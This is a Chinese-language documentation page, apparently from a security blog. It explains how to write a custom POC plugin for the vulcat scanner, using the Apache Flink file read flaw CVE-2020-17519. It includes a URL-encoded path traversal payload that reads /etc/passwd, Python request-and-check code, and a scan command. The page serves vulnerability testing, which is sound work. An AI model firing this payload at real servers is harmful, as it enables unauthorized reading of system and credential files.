某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 《vulcat文档》

    • vulcat简介
    • vulcat下载
    • 配置文件

    • 运行扫描

    • 自定义POC和EXP

      • 说明
      • vulcat自定义POC示例-任意文件读取漏洞
        • 1. 准备模板文件
        • 2. 定义Payload
        • 3. 编写POC主体
          • 3.1 POC基本结构
          • 3.2 请求调用
          • 3.3 判断结果 并 返回漏洞信息
          • 3.4 Start()
        • 4. 装填载荷
          • 4.1 修改载荷文件名称
          • 4.2 把载荷 放入载荷路径
        • 5. 扫描测试
        • 6. 废话
      • vulcat自定义EXP示例-文件上传漏洞
  • 文档
  • 《vulcat文档》
  • 自定义POC和EXP
carsaid
2023-10-11
目录

vulcat自定义POC示例-任意文件读取漏洞

# 自定义攻击载荷-POC示例

# 本节以Apache Flink的任意文件读取漏洞CVE-2020-17519为例

# 1. 准备模板文件

此处新建一个目录payloads2,并将载荷模板demo.py复制一份,放入该目录

打开模板文件,其结构如下

你可以在上方添加注释,例如:

  • 漏洞名称
  • 漏洞编号
  • Payload来源
  • 漏洞描述
  • POC / EXP作者(编写载荷的人)
  • 作者个人主页链接
  • ...等

# 2. 定义Payload

在__init__方法中,定义该漏洞的有效载荷

此处为简便,只定义了一条载荷。

  • 在实际运用中,需要对路径、系统等因素设置不同的载荷
  • 例如Linux读取/etc/passwd文件
  • Windows读取C:/Windows/win.ini文件等
self.payloads = [
    {'path': 'jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'},
]
1
2
3

# 3. 编写POC主体

# 3.1 POC基本结构

client = clients.get('reqClient')
        
vul_info = {
    'app_name': 'ApacheFlink',
    'vul_type': 'FileRead',
    'vul_id': 'CVE-2020-17519',
}
1
2
3
4
5
6
7
  1. 获取请求客户端client
  2. 定义漏洞信息vul_info,其中的三个字段名称是固定的:app_name、vul_type、vul_id

关于请求客户端client,vulcat包装了requests以及HackRequests这两个库

包装过后,可以对HTTP请求进行统一处理

并为其添加一些常用参数,使其更易使用,不用频繁添加参数,例如:

  • requests默认将无视HTTPS证书警告(verify=False)
  • 默认超时时间10秒
  • 统一的HTTP代理
  • 域名
  • 协议://域名
  • ...等
for payload in self.payloads:
    path = payload['path']
1
2

让我们回到POC的编写当中

此时你可以遍历self.payloads,并接收其中的参数

# 3.2 请求调用

res = client.request(
    'get',
    path,
    vul_info=vul_info
)
if res is None:
    continue
1
2
3
4
5
6
7

使用客户端client发出请求

  • 第一个参数:HTTP方法(大小写不敏感)
  • 第二个参数:URL路径(注意,只需要路径,不需要前面的http://xxx.com/,因为vulcat会自动将它们拼接起来)
  • 额外的参数:vul_info漏洞信息,将作用于HTTP日志(也就是--log选项输出的HTTP信息)

接收请求之后,你需要判断结果是否为None

  • 如果为None,说明请求失败,跳过当前载荷,继续下一轮循环
  • 如果不为None,说明请求成功,接下来将判断是否存在漏洞

# 3.3 判断结果 并 返回漏洞信息

from lib.tool import check

if (check.check_res_fileread(res.text)):
    results = {
        'Target': res.request.url,
        'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
        'Request': res
    }
    return results
1
2
3
4
5
6
7
8
9

对于文件读取漏洞,你可以使用vulcat自带的方法check.check_res_fileread()来进行检测

  • 如果目标存在文件读取漏洞,则该方法返回 True
  • 否则返回 False

如果存在漏洞,则返回结果results

  • 字符串数据,将以 key:value 的方式显示(例如Target)
  • 列表数据,将以 key: v1 v2 v3 的方式显示(例如Type)
  • Response数据,将显示一个HTTP请求数据包(例如Request)

注意:使用该方法之前需要先导入模块

这是vulcat自带的check.check_res_fileread()函数,你可以定义统一的检测需求

# 3.4 Start()

最后,在Start方法中进行调配,此处直接返回一个self.POC(clients),其中传递了一个参数clients

# 4. 装填载荷

# 4.1 修改载荷文件名称

命名规则:框架名称-编号-漏洞类型

  • 如果框架名称太长,可以使用 - 分隔
  • 可以同时存在多个漏洞类型,例如 apache-httpd-cve-2021-42013-rce-fileread

# 4.2 把载荷 放入载荷路径

把大象装进冰箱需要几步? 把大象装进冰箱需要几步? 把大象装进冰箱需要几步?

  1. 打开vulcat/config.yaml查看载荷路径

  2. 把刚刚编写的文件丢进payloads/目录

  3. 关闭vulcat/config.yaml文件

(此步骤没有图片)

# 5. 扫描测试

现在,vulcat会自动识别你编写的载荷,你可以运行vulcat测试效果

python vulcat.py -u <目标地址> --log 3 -v <载荷名称>
1

-v/--vuln选项支持模糊匹配,你不需要输入完整的载荷名称

模糊匹配

--shell支持,可以使用该选项进入Shell交互模式,以持续利用漏洞:

# 6. 废话

你可以为载荷创建一个专门的目录,用于分类

(不会影响载荷的效果,就算有几百层目录,vulcat也可以识别 并装填Payload)

编辑 (opens new window)
说明
vulcat自定义EXP示例-文件上传漏洞

← 说明 vulcat自定义EXP示例-文件上传漏洞→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式